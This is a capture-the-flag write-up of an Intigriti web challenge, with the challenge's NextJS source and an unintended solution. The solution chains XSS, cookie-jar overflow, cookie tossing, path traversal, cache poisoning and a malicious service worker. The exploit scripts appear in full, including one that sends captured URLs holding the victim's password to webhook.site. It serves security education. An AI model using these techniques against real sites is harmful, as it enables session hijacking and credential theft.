Leaky flagment, Intigriti 0325 Challenge Writeup (Unintended)
changelog
2025-04-04: Clarified terminology - what I previously described as "client-side path traversal is now "path traversal", since the redirection occurs on the server. Thanks ChattyPlatinumCool for the correction! ☺
tl;dr
Cookie overwrite and capturing redirect URL through service workers
Challenge description & Introduction
Intigriti's March Challenge by 0x999
Challenge source here
Last week, Intigriti hosted a difficult web challenge, written by 0x999. It was a very fun challenge that I ended up solving with an unintended solution. I always find discovering non-trivial unintended solutions to be a blast. Many thanks to 0x999 for a great challenge!
Process
Admin bot
Before I take a look into the application itself, I almost always begin with scoping out where the flag is, and how we can reach it. In this case, there is a hefty admin bot that will execute the following when you give it an URL:
bot.js
async function visitUrl(url) {
let driver;
const flag = process.env.FLAG;
try {
let options = new firefox.Options();
options.addArguments('--headless');
driver = await new Builder()
.forBrowser('firefox')
.setFirefoxOptions(options)
.build();
const caps = await driver.getCapabilities();
const firefoxVersion = caps.get('browserVersion');
console.log(`Firefox version: ${firefoxVersion}`);
await driver.manage().setTimeouts({
pageLoad: timeout,
script: timeout
});
await driver.manage().window().setRect({ width: 1024, height: 768 });
await driver.get(process.env.BASE_URL);
await driver.executeScript(async (flag) => {
const response = await fetch("/api/auth", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
username: "admin" + Math.floor(Math.random() * 10000000),
password: flag // <-- what we are trying to steal
}),
});
if (!response.ok) {
console.error(`Bot failed to authenticate! status: ${response.status}`);
await driver.quit();
}
localStorage.setItem('isAuthenticated', 'true');
}, flag);
console.log(`Navigating to URL: ${url}`);
await driver.get(url);
await driver.wait(async () => {
return (await driver.executeScript('return document.readyState')) === 'complete';
}, timeout);
const viewportSize = await driver.executeScript(() => {
return {
width: window.innerWidth,
height: window.innerHeight,
};
});
const centerX = Math.floor(viewportSize.width / 2);
const centerY = Math.floor(viewportSize.height / 2);
const actions = driver.actions();
await actions.move({ x: centerX, y: centerY }).click().perform();
console.log(`Clicking at center: (${centerX}, ${centerY})`);
await driver.sleep(60000);
console.log('Finished processing URL:', url);
} catch (error) {
console.error(`Error visiting URL ${url}:`, error);
} finally {
if (driver) {
await driver.quit();
}
}
}
Simple, the bot authenticates itself with flag as the password at /api/auth
, then navigates to our url, clicking on the middle of the page.
Application Reconnaissance






This is a simple note application which lets you log in and create notes, written in NextJS. There are a couple interesting features about this:
- The
secret
cookie used for authentication is justbtoa(username + ":" + password)
. The cookie itself, in the/api/auth
route, is set with HttpOnly, so just XSS will not be sufficient to steal the bot's password.
pages/auth.js
import { Redis } from "ioredis";
import Cookies from "cookies";
const redisOptions = {
host: process.env.REDIS_HOST,
username: process.env.REDIS_USERNAME,
password: process.env.REDIS_PASSWORD,
port: process.env.REDIS_PORT,
};
export default async function handler(req, res) {
const redis = new Redis(redisOptions);
const cookies = new Cookies(req, res);
try {
const { method, body } = req;
switch (method) {
case "POST":
if (!req.headers["content-type"].startsWith("application/json")) {
return res.status(400).json({ message: "Invalid content type" });
}
if (!body.username || typeof body.username !== "string" || !body.password || typeof body.password !== "string") {
return res.status(400).json({ message: "Missing/invalid username or password" });
}
if (cookies.get("secret")) {
return res.status(200).json({ message: "Session already exists" });
}
const password = String(body.password);
const username = String(body.username);
const passwordRegex = /^[a-zA-Z0-9!@#$%^&*()\-_=+{}.]{3,64}$/;
const usernameRegex = /^[a-zA-Z0-9]{3,32}$/;
if (!usernameRegex.test(username)) {
return res.status(400).json({
message:
"Username must be 3-32 characters long and contain only a-z, A-Z, 0-9",
});
}
if (!passwordRegex.test(password)) {
return res.status(400).json({
message:
"Password must be between 3 and 64 characters long and contain only the following characters: " +
"a-z, A-Z, 0-9, !@#$%^&*()-_=+{}.",
});
}
try {
const redisKey = "nextjs:"+btoa(`${username}:${password}`);
const userExists = await redis.get(redisKey);
const cookieOptions = [
`HttpOnly`,
`Secure`,
`Max-Age=${60 * 60}`,
`SameSite=None`,
`Path=/`,
process.env.DOMAIN && `Domain=${process.env.DOMAIN}`,
]
.filter(Boolean)
.join("; ");
if (userExists) {
res.setHeader("Set-Cookie", `secret=${redisKey.replace('nextjs:', '')}; ${cookieOptions}`);
return res.status(200).json({ message: "Cookie set successfully" });
}
await redis.set(redisKey, "[]", "EX", 60 * 60);
res.setHeader("Set-Cookie", `secret=${redisKey.replace('nextjs:', '')}; ${cookieOptions}`);
return res.status(200).json({ message: "Cookie set successfully" });
} catch (error) {
console.error("Redis error:", error);
return res.status(500).json({ message: "Internal server error" });
}
case "DELETE":
try {
const deleteCookie = [
"secret=",
"Expires=Thu, 01 Jan 1970 00:00:00 GMT",
"HttpOnly",
"Secure",
"SameSite=None",
"Max-Age=0",
"Path=/",
process.env.DOMAIN && `Domain=${process.env.DOMAIN}`,
]
.filter(Boolean)
.join("; ");
res.setHeader("Set-Cookie", deleteCookie);
return res.status(200).json({ message: "You will be missed 😭💔" });
} catch (error) {
console.error("ERROR:", error);
return res.status(500).json({ message: "Internal server error" });
}
default:
res.setHeader("Allow", ["POST", "DELETE"]);
return res.status(200).json({ message: "ok" });
}
} finally {
await redis.quit();
}
}
- The application is written in NextJS, which uses React. React, by default, sanitizes HTML in its components. There is, however, a
dangerouslySetInnerHTML
sink inside of thenote/[id]/page.jsx
file, the name being self-explanatory. Therefore, controlling the note content means XSS.
note/[id]/page.jsx
import { redirect } from "next/navigation";
import { Redis } from "ioredis";
import { Card, CardHeader, CardTitle, CardContent } from "@/components/ui/card";
import { cookies, headers } from "next/headers";
import { Header } from "@/components/Header";
const redisOptions = {
host: process.env.REDIS_HOST,
username: process.env.REDIS_USERNAME,
password: process.env.REDIS_PASSWORD,
port: process.env.REDIS_PORT,
};
export default async function NotePage({ params }) {
const { id } = await params;
const user_cookies = await cookies();
const u_headers = await headers();
const userIP = u_headers.get('x-real-ip') ? u_headers.get('x-real-ip') : '1.3.3.7';
let secret_cookie = '';
try {
secret_cookie = atob(user_cookies.get('secret')?.value);
} catch (e) {
secret_cookie = '';
}
const secretRegex = /^[a-zA-Z0-9]{3,32}:[a-zA-Z0-9!@#$%^&*()\-_=+{}.]{3,64}$/;
if (!secret_cookie || !secretRegex.test(secret_cookie)) {
redirect("/");
}
const redis = new Redis(redisOptions);
try {
const notesData = await redis.get('nextjs:'+btoa(secret_cookie));
if (!notesData) {
redirect("/");
}
const notes = JSON.parse(notesData);
const note = notes.find((note) => note.id === id);
if (!note) {
return (
<div className="bg-gradient-to-r from-[#ee9ca7] to-[#ffdde1] p-4">
<div className="max-w-6xl mx-auto p-4 space-y-6">
<Header />
<div className="bg-white/95 backdrop-blur-lg p-4 rounded-xl border border-rose-200 shadow-sm text-center">
<div className="text-4xl text-gray-800">Uh oh, Note not found... 😢</div>
</div>
</div>
</div>
);
}
return (
<div className="bg-gradient-to-r from-[#ee9ca7] to-[#ffdde1] p-4">
<script>{`
fetch("/api/track", {
method: "GET",
cache: "no-store",
headers: {
"x-user-ip": "${userIP}",
},
})
.then(async (res) => {
if (res.ok) {
eval(await res.text());
}
})
.catch((error) => {
console.error(error);
});
`}</script>
<div className="max-w-6xl mx-auto p-4 space-y-6">
<Header note_password={note.password} />
<Card className="bg-white/95 backdrop-blur-lg border-rose-100 min-h-[60vh] flex flex-col relative overflow-hidden">
<CardHeader className="pb-4 flex-shrink-0">
<div className="bg-white/80 backdrop-blur-sm p-6 rounded-xl border border-rose-200 shadow-sm mx-auto max-w-2xl w-[90%] text-center select-none overflow-y-auto max-h-[30vh]">
<CardTitle className="text-4xl text-gray-800 break-words">
{note.title}
</CardTitle>
</div>
</CardHeader>
<CardContent className="flex-1 pt-6 border-t border-rose-100">
<div className="bg-white/80 backdrop-blur-sm p-8 rounded-xl border border-rose-200 shadow-sm min-h-[400px]">
<div
className="prose max-w-none text-gray-700 whitespace-pre-wrap break-words"
dangerouslySetInnerHTML={{ __html: note.content }}
/>
</div>
</CardContent>
</Card>
</div>
</div>
);
} catch (error) {
console.error('Error fetching note:', error);
redirect("/");
} finally {
await redis.quit();
}
}
- When loading a note, for a brief moment the user's password appears in the hash before the page loads, and it is then promptly removed by some NextJS mechanism.
- The append happens because the application has a middleware, which intercepts routes that start with
/note/
, and appends the user's password as a hash to the end of the URL before redirecting the user there.- I am actually not too sure why NextJS strips the hash, but I assume it has to do with the
next/navigation
module, where URL hashes are used for client-side navigation.
- I am actually not too sure why NextJS strips the hash, but I assume it has to do with the
- The middleware also intercepts
/view_protected_note?id=aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee
URLs, rewriting the URL to/note/aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee
- The
id
validation check is weak, because it only checks if the hexadecimal characters are not dashes. This allows us to rewrite URLs to pretty much anywhere (edit: Path Traversal).- For example,
/view_protected_note?id=../api/a-bbbb-cccc-dddd-eeee/../post
would be rewritten to/note/../api/a-bbbb-cccc-dddd-eeee/../post
, which would be normalized by NextJS to/api/post
.
- For example,
- The
- The append happens because the application has a middleware, which intercepts routes that start with
- Very eye-catching feature, and most likely where we are meant to steal the flag from.
middleware.js
import { NextResponse } from 'next/server';
export function middleware(request) {
const path = request.nextUrl.pathname;
if (path.startsWith('/view_protected_note')) {
const query = request.nextUrl.searchParams;
const note_id = query.get('id');
const uuid_regex = /^[^\-]{8}-[^\-]{4}-[^\-]{4}-[^\-]{4}-[^\-]{12}$/;
const isMatch = uuid_regex.test(note_id);
if (note_id && isMatch) {
const current_url = request.nextUrl.clone();
current_url.pathname = "/note/" + note_id.normalize('NFKC');
return NextResponse.rewrite(current_url);
} else {
return new NextResponse('Uh oh, Missing or Invalid Note ID :c', {
status: 403,
headers: { 'Content-Type': 'text/plain' },
});
}
}
if (path.startsWith('/note/') && !request.nextUrl.searchParams.has('s')) {
let secret_cookie = '';
try {
secret_cookie = atob(request.cookies.get('secret')?.value);
} catch (e) {
secret_cookie = '';
}
const secretRegex = /^[a-zA-Z0-9]{3,32}:[a-zA-Z0-9!@#$%^&*()\-_=+{}.]{3,64}$/;
const newUrl = request.nextUrl.clone();
if (!secret_cookie || !secretRegex.test(secret_cookie)) {
return NextResponse.next();
}
newUrl.searchParams.set('s', 'true');
newUrl.hash = `:~:${secret_cookie}`;
return NextResponse.redirect(newUrl, 302);
}
return NextResponse.next();
}
- Notes are created at the
/api/post
route, and there is a simple filter for<
and>
for note content, blocking the creation ifcontent
includes these characters. - Generally, a half-decent filter would ban all of
<
,>
and&
, to prevent tag creation and using HTML entities to create tags. This filter does not.- Doesn't matter. The check only activates if
content
is a string. We can just send it an array containing our payload, and the NextJS renderer will implicitly call.toString()
on it when embedding it inside the HTML document.
- Doesn't matter. The check only activates if
- Therefore, if we can send admin to a note whose value we control, we get XSS.
pages/post.js
import crypto from 'crypto';
import { Redis } from "ioredis";
import Cookies from 'cookies';
import { v4 as uuidv4 } from 'uuid';
const redisOptions = {
host: process.env.REDIS_HOST,
username: process.env.REDIS_USERNAME,
password: process.env.REDIS_PASSWORD,
port: process.env.REDIS_PORT,
};
const generatePassword = () => {
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
return Array.from(crypto.randomBytes(10), byte => chars[byte % chars.length]).join('');
};
export default async function handler(req, res) {
const redis = new Redis(redisOptions);
const cookies = new Cookies(req, res);
const secretRegex = /^[a-zA-Z0-9]{3,32}:[a-zA-Z0-9!@#$%^&*()\-_=+{}.]{3,64}$/;
try {
const { method } = req;
switch (method) {
case 'GET':
try {
let secret_cookie;
try{
secret_cookie = atob(cookies.get('secret'));
} catch (e) {
secret_cookie = '';
}
if (!secret_cookie || typeof secret_cookie !== 'string') {
return res.status(403).json({ message: 'Unauthorized' });
}
if (!secretRegex.test(secret_cookie)) {
return res.status(400).json({ message: 'Invalid cookie format' });
}
const redisKey = "nextjs:"+btoa(secret_cookie);
const userData = await redis.get(redisKey);
if (!userData) {
res.setHeader('Set-Cookie', 'secret=; Max-Age=0; Path=/; HttpOnly; Secure; SameSite=None');
return res.status(403).json({ message: 'Cookie is invalid' });
}
let notes = [];
try {
notes = userData ? JSON.parse(userData) : [];
if (!Array.isArray(notes)) notes = [];
} catch (error) {
notes = [];
}
return res.status(200).json({ notes });
} catch (error) {
console.error('error:', error);
return res.status(500).json({ message: 'error' });
}
case 'POST':
try {
let secret_cookie;
try{
secret_cookie = atob(cookies.get('secret'));
} catch (e) {
secret_cookie = '';
}
const content_type = req.headers['content-type'];
if (!secret_cookie) {
return res.status(403).json({ message: 'Unauthorized' });
}
if (!secretRegex.test(secret_cookie)) {
return res.status(400).json({ message: 'Invalid cookie format' });
}
if (content_type && !content_type.startsWith('application/json')) {
return res.status(400).json({ message: 'Invalid content type' });
}
const redisKey = "nextjs:"+btoa(secret_cookie);
const userData = await redis.get(redisKey);
if (!userData) {
return res.status(403).json({ message: 'Unauthorized 2' });
}
const body = typeof req.body === 'string' ? JSON.parse(req.body) : req.body;
const { title, content, use_password } = body;
if (!title || !content) {
return res.status(400).json({ message: 'Please provide a title and content' });
}
if (typeof content === 'string' && (content.includes('<') || content.includes('>'))) {
return res.status(400).json({ message: 'Invalid value for title or content' });
}
if (title.length > 50 || content.length > 1000) {
return res.status(400).json({ message: 'Title must not exceed 50 characters and content must not exceed 500 characters' });
}
let notes = [];
try {
notes = userData ? JSON.parse(userData) : [];
if (!Array.isArray(notes)) notes = [];
} catch (error) {
notes = [];
}
const id = uuidv4();
const password = use_password === 'true' ? generatePassword() : '';
const note = { id, title, content, password };
const newNotes = [...notes, note];
await redis.set(redisKey, JSON.stringify(newNotes), 'KEEPTTL');
return res.status(200).json({ message: 'Note saved successfully', id: note.id, password: note.password });
} catch (error) {
console.error('error:', error);
return res.status(500).json({ message: 'Internal server error' });
}
default:
res.setHeader('Allow', ['POST', 'GET']);
return res.status(405).json({ message: `Method not allowed` });
}
} finally {
await redis.quit();
}
}
- There is also a
/api/track
route which sends back some JS code.- It's supposed to populate
window.ipAnalytics
on page load. - It takes
req.headers['x-user-ip']
, and raw sticks it into the contents of the JS code.- This looks very tempting, if we can find some way to have the admin send a custom header of ours. This is, however, generally considered impossible cross-origin in exploitation contexts because of cross-origin restrictions preventing
fetch(url, opts)
from making cross-origin requests unless you specify{mode: 'no-cors'}
inopts
or the server sends back anAccess-Control-Allow-Origin
header. The server sending back a header of our own is a no-go, and in the case ofmode: 'no-cors'
, the fetch API restricts what headers we are allowed to send, and the result is opaque.
- This looks very tempting, if we can find some way to have the admin send a custom header of ours. This is, however, generally considered impossible cross-origin in exploitation contexts because of cross-origin restrictions preventing
- It's supposed to populate
pages/track.js
export default async function handler(req, res) {
const { method } = req
res.setHeader('Content-Type', 'text/javascript')
switch (method) {
case 'GET':
try {
const userIp = req.headers['x-user-ip'] || '0.0.0.0'
const jsContent = `
$(document).ready(function() {
const userDetails = {
ip: "${userIp}",
type: "client",
timestamp: new Date().toISOString(),
ipDetails: {}
};
window.ipAnalytics = {
track: function() {
return {
ip: userDetails.ip,
timestamp: new Date().toISOString(),
type: userDetails.type,
ipDetails: userDetails.ipDetails
};
}
};
});`
if (userIp !== '0.0.0.0') {
return res.status(200).send(jsContent)
} else {
return res.status(200).send('');
}
} catch (error) {
console.error('Error:', error)
return res.status(500).send('Error')
}
default:
res.setHeader('Allow', ['GET'])
return res.status(405).send('console.error("Method not allowed");')
}
}
- Also, the
next.config.mjs
file:- Sets a couple security headers for all paths.
- No framing this page
- Not allowing the browser to sniff the server's content to guess its MIME type
- Sets the
Cache-Control
header topublic, max-age=120, immutable
for all paths matching/(.*).js
- Sets a couple security headers for all paths.
next.config.mjs
const nextConfig = {
async headers() {
return [
{
source: '/:path*',
headers: [
{
key: 'Content-Security-Policy',
value:
"frame-ancestors 'none'; base-uri 'none'; object-src 'none'; frame-src 'none';",
},
{
key: 'X-Frame-Options',
value: 'DENY',
},
{
key: 'X-Content-Type-Options',
value: 'nosniff',
},
{
key: 'Referrer-Policy',
value: 'no-referrer',
}
],
},
{
source: '/:path*.js',
headers: [
{
key: 'Cache-Control',
value: 'public, max-age=120, immutable',
},
],
}
];
},
};
export default nextConfig;
Approach
Gaining XSS
At first glance, sending admin to /note/random
, and reading the hash of the URL before it disappears sounds like a good approach, and it is what I was going for at first. To do this, we need to gain XSS on the admin, meaning we need to deliver the admin to a note whose content we control. Unfortunately, even though there is no CSRF protection, having the admin submit a form to create a new post will simply not work, because the endpoint expects the Content-Type
to be application/json
, and forms by default send application/x-www-form-urlencoded
. I'm almost certain the click gadget provided in the bot would help with that, but I chose a different approach to deliver a note of my own to admin: overflowing the cookie jar, and tossing them my cookie from a different challenge, so they share my state, and therefore my notes.
As long as you can send the bot anywhere, you can clear all its cookies, because browsers only have finite space for cookies, and will evict them when too many are set. Furthermore, if you have XSS on a subdomain of .intigriti.io
, you can set a cookie on the parent domain, and this cookie will also be sent to requests to all subdomains under .intigriti.io
. There are plenty such subdomains with XSS on them because of all the challenges that Intigriti has hosted over the past; I simply used my solution for challenge-0224.intigriti.io
(Love Letter).
const NOTE_ID = "OUR_NOTE_ID" // contains our XSS payload
const secretKey = btoa("our_username" + ":" + "our_password")
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
}
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}
document.cookie = `secret=${secretKey}; Secure; domain=.intigriti.io; path=/; SameSite=None`;
window.location = `https://challenge-0325.intigriti.io/note/${NOTE_ID}`
the exploit hosted on a subdomain of intigriti.io
Because there is a trivial bypass for note content (['<script>alert(document.domain)</script>']
), we can gain XSS on the bot with this. The next challenge is to find a way to access the admin password from the cookie we just deleted, because the XSS is useless without anything to exfiltrate. We do this by sending a request to /note/anything.js
while the original secret
cookie still exists, because of the Cache-Control
header sent back from the server (specified in next.config.mjs
). This caches the network request result, which we can later access with subsequent requests, and which contains the hash with the original password.


Exfiltrating the hash
The first thing I tried was to open the cached request and spam read its URL (w = window.open('/note/leaker.js'); setInterval(console.log.bind(w.location.href),1)
), but that only ever gave me the URL with the hash stripped. I figured the frontend side of NextJS removed it too quickly for me to read the hash out, and I did not want to fiddle with trying to use up browser resources to induce a slowdown to prevent the removal of the hash before I could read it. Desperation led me to the sweet embrace of service workers.
Simply put, service workers are background scripts that, once registered, will run and persist between requests to the origin that it is scoped to (i.e., wherever the actual service worker script is located). There are additional restrictions placed upon registering service workers (can only happen on a https
domain, cannot be loaded in-line; the script it uses must exist on a domain). They're generally quite powerful, and I had the pleasure of fiddling with them when helping out with a MapleCTF challenge. Thanks to generous challenge design, we have /api/track
, which just so happens to return application/javascript
, with a section that we can control, assuming that we can control the header. But, this requires us to have navigator.serviceWorker.register
send a header in its request. How do?
Caching, again, comes in useful here. If we can cache a fetch('/api/track', opts)
request with opts = {headers: {x-user-ip: "PAYLOAD"}}
, we can control what the script returns, (ab)using function variable and function hoisting to make this script executable in a service worker context:
`$(document).ready(function() {
const userDetails = {
ip: "${userIp}",
type: "client",
timestamp: new Date().toISOString(),
ipDetails: {}
};
window.ipAnalytics = {
track: function() {
return {
ip: userDetails.ip,
timestamp: new Date().toISOString(),
type: userDetails.type,
ipDetails: userDetails.ipDetails
};
}
};
});`
`$(document).ready(function() {
const userDetails = {
ip: "a"
};
});
function $ (selector) {
let obj = {
ready: function(callback) {
return;
}
};
return obj;
}
var document = {};
self.addEventListener("fetch", (event) => {
console.log("Fetch request:", event.request.url);
});
$(document).ready(function() {
const userDetails = {
ip: "a",
type: "client",
timestamp: new Date().toISOString(),
ipDetails: {}
};
window.ipAnalytics = {
track: function() {
return {
ip: userDetails.ip,
timestamp: new Date().toISOString(),
type: userDetails.type,
ipDetails: userDetails.ipDetails
};
}
};
});`
navigator.serviceWorker.register
will not use the browser cache for its first request under any circumstance, and it will not use it while updating the script unless we pass it updateViaCache: 'all'
in the options. We can use the (edit: path traversal) found earlier in the middleware to redirect a fetch('/view_protected_note.js?id=...', {headers: {x-user-id: 'payload'}})
to /api/track
, caching the network response with our payload.
Flag
INTIGRITI{s3rv1ce_w0rk3rs_4re_p0w3rful}
Exploit files
exploit.py
import requests
from generate_exploit_url import generate_co_exploit
CHALL_URL='https://challenge-0325.intigriti.io'
def main():
with open("attack/hash_leaker.js", "r") as f:
hash_leak_exploit = f.read()
username = "averageweb"
password = "enjoyer"
s = requests.Session()
r = s.post(f"{CHALL_URL}/api/auth", json={"username": username, "password": password})
r = s.post(f"{CHALL_URL}/api/post", headers={
'Content-Type': 'application/json',
'Cookie': f"secret={s.cookies['secret']}"
}, json={
"title": "owo",
"content": [
"<script>" + hash_leak_exploit + "</script>"
]
})
note_id = r.json()["id"]
print(f"{CHALL_URL}/note/{note_id}")
initial_xss_url = generate_co_exploit(note_id)
print(initial_xss_url)
if __name__ == '__main__':
main()
generate_exploit_url.py
import requests
CHALL_URL='https://api.challenge-0224.intigriti.io'
def finder():
for i in range(0x80, 0x10ffff):
bytes = []
if i < 0x0080:
bytes += [i]
elif i < 0x0800: # needs exactly 11 bits
binary_repr = bin(i)[2:]
binary_repr = "0" * (11 - len(binary_repr)) + binary_repr
byte1 = "110" + (binary_repr[:5])
byte2 = "10" + (binary_repr[5:])
bytes.append(int(byte1, 2))
bytes.append(int(byte2, 2))
elif i < 0x10000: # needs exactly 16 bits
binary_repr = bin(i)[2:]
binary_repr = "0" * (16 - len(binary_repr)) + binary_repr
byte1 = "1110" + (binary_repr[:4])
byte2 = "10" + (binary_repr[4:10])
byte3 = "10" + (binary_repr[10:])
bytes.append(int(byte1, 2))
bytes.append(int(byte2, 2))
bytes.append(int(byte3, 2))
else: # needs exactly 21 bits
binary_repr = bin(i)[2:]
binary_repr = "0" * (21 - len(binary_repr)) + binary_repr
bytes.append(int("11110" + (binary_repr[:3]), 2))
bytes.append(int("10" + (binary_repr[3:9]), 2))
bytes.append(int("10" + (binary_repr[9:15]), 2))
bytes.append(int("10" + (binary_repr[15:]), 2))
new_bytes = [chr(x & 0x7f) for x in bytes]
if ("'" in new_bytes or '"' in new_bytes or "`" in new_bytes) and "<" in new_bytes:
print(hex(i))
print([hex(x) for x in bytes])
break
def create_payload(script):
leftAngle = "࠼"
rightAngle = "Ծ"
converted = ",".join([str(ord(c)) for c in script])
start = f"{leftAngle}scrip{rightAngle}eval(String.fromCharCode({converted}));`{leftAngle}/scrip{rightAngle}"
return start
def generate_co_exploit(note_id):
username = "loveletteruser"
password = "loveletterpassword"
s = requests.Session()
r = s.post(f"{CHALL_URL}/register", data={
"username": username,
"password": password
})
r = s.post(f"{CHALL_URL}/login", data={
"username": username,
"password": password
})
jwt = r.cookies["jwt"]
with open("attack/index.js", "r") as f:
attack_payload = f.read()
attack_payload = attack_payload.replace("JWT-PLACEHOLDER", jwt)
attack_payload = attack_payload.replace("NOTE_ID_PLACEHOLDER", note_id)
start = create_payload(attack_payload)
r = s.get(f"{CHALL_URL}/setTestLetter", params={
"msg": start
})
attack_url = r.url
return attack_url
def main():
attack_url = generate_co_exploit()
print(attack_url)
if __name__ == '__main__':
main()
attack/index.js
async function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
(async () => {
const CHALL_URL = "https://challenge-0325.intigriti.io";
const NOTE_ID = "NOTE_ID_PLACEHOLDER";
// step zero is to have a login with xss preloaded. we will use this to deliver the real XSS
const secretKey = btoa("averageweb:enjoyer");
// step one is to cache an url /note/leaker.js, with the flag in the hash
const refs = []
for (let i = 0; i < 3; i++) {
refs.push(window.open(`${CHALL_URL}/note/leaker4.js`, `o${i}`));
await sleep(100); // wait for the page to properly be cached; depends a bit on network
}
await sleep(2000);
for (let ref of refs) {
ref.close();
}
// step two is to overflow the cookie jar
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
}
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}
// step three is to do a cookie toss on the main intigriti.io domain, with the secret key
document.cookie = `secret=${secretKey}; Secure; domain=.intigriti.io; path=/; SameSite=None`;
// step 4 is to navigate to the payload url, which should leak flag
window.location = `${CHALL_URL}/note/${NOTE_ID}`;
})()
attack/hash_leaker.js
const userIp = `
a"
};
});
function \$ (selector) {
let obj = {
ready: function(callback) {
return;
}
};
return obj;
}
var document = {};
self.addEventListener("fetch", (event) => {
console.log(JSON.stringify({url: event.request.url}));
const has_hash = event.request.url.includes("#");
if (has_hash) {
fetch("https://webhook.site/aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee", {
method: "POST",
mode: "no-cors",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({url: event.request.url})
});
}
});
console.log("Listening");
$(document).ready(function() {
const userDetails = {
ip: "a
`.trim().replace(/\n/g,"");
const CHALL_URL = "https://challenge-0325.intigriti.io";
function generateHexString() {
const randomHex = (length) => {
return Array.from({length}, () =>
Math.floor(Math.random() * 16).toString(16)
).join('').substring(0, length);
};
return `${randomHex(1)}-${randomHex(4)}-${randomHex(4)}-${randomHex(4)}-${randomHex(3)}`;
}
const cache_path = `${CHALL_URL}/view_protected_note_lol.js?id=../api/${generateHexString()}/../track`;
(async () => {
async function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
async function try_win() {
let win = window.open("/note/leaker4.js", "_blank");
const int = setInterval(() => {
if (win.location.hash) {
console.log("setInterval hash");
console.log(win.location.hash);
}
}, 1);
await sleep(3000);
win.close();
clearInterval(int);
return
}
// first order of business is to poison the /view_protected_note path
async function poison() {
const res = await fetch(cache_path, {
headers: {
"x-user-ip": userIp,
"Cache-Control": "no-cache"
}
});
const text = await res.text();
return text;
}
// second order of business is to load a sw with the poisoned path
async function unregister_all_sws() {
const regs = await navigator.serviceWorker.getRegistrations();
for (let reg of regs) {
await reg.unregister();
}
}
async function register_sw(path) {
const poison_res = await poison();
if (poison_res.length > 0) {
console.log("Poisoned");
let reg = await navigator.serviceWorker.register(path, {
updateViaCache: "all" // important; this enables the SW script to access the browser cache
});
console.log(reg);
return reg;
} else {
console.log("Not Poisoned");
return null;
}
}
await unregister_all_sws();
for (let i = 0; i < 3; i++) {
await poison();
await sleep(300);
}
const reg = await register_sw(cache_path); // idk why but on first run this just stomps on the cached path
for (let i = 0; i < 3; i++) {
await poison();
await sleep(300);
}
if (reg && reg.active) {
for (let i = 0; i < 3; i++) {
reg.update(); // redo
await sleep(300);
}
} else {
console.log("No active sw");
}
await sleep(1000);
for (let i = 0; i < 3; i++) {
await try_win()
}
})();
Resources
- https://0xn3va.gitbook.io/cheat-sheets/web-application/cookie-security/cookie-jar-overflow
- https://0xn3va.gitbook.io/cheat-sheets/web-application/cookie-security/cookie-tossing
- https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API
- https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration/updateViaCache